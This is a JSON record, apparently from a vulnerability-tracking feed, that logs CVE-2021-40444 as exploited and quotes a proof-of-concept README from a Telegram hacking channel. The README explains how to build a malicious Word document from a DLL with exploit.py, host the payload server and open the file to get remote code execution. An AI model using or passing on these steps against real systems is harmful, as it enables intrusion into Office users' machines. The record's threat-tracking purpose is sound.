{"uuid": "f297efbf-39f6-4d91-becd-cebbe13f9015", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-40444", "type": "exploited", "source": "https://t.me/hacking_Attack/23903", "content": "CVE-2021-40444 PoC - Malicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)\n\nMalicious docx generator to exploit CVE-2021-40444 (Microsoft Office Word Remote Code Execution)Creation of this Script is based on some reverse engineering over the sample used in-the-wild: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (docx file)You need to install lcab first (sudo apt-get install lcab)Check REPRODUCE.md for manual reproduce stepsIf your generated cab is not working, try pointing out exploit.html URL to calc.cabUsingFirst generate a malicious docx document given a DLL, you can use the one at test/calc.dll which just pops a calc.exe from a call to system()python3 exploit.py generate test/calc.dll http://Once you generate the malicious docx (will be at out/) you can setup the server:sudo python3 exploit.py host 80Finally try the docx in a Windows Virtual Machine: Download CVE-2021-40444\nRead more...", "creation_timestamp": "2026-09-07T16:00:05.708661Z"}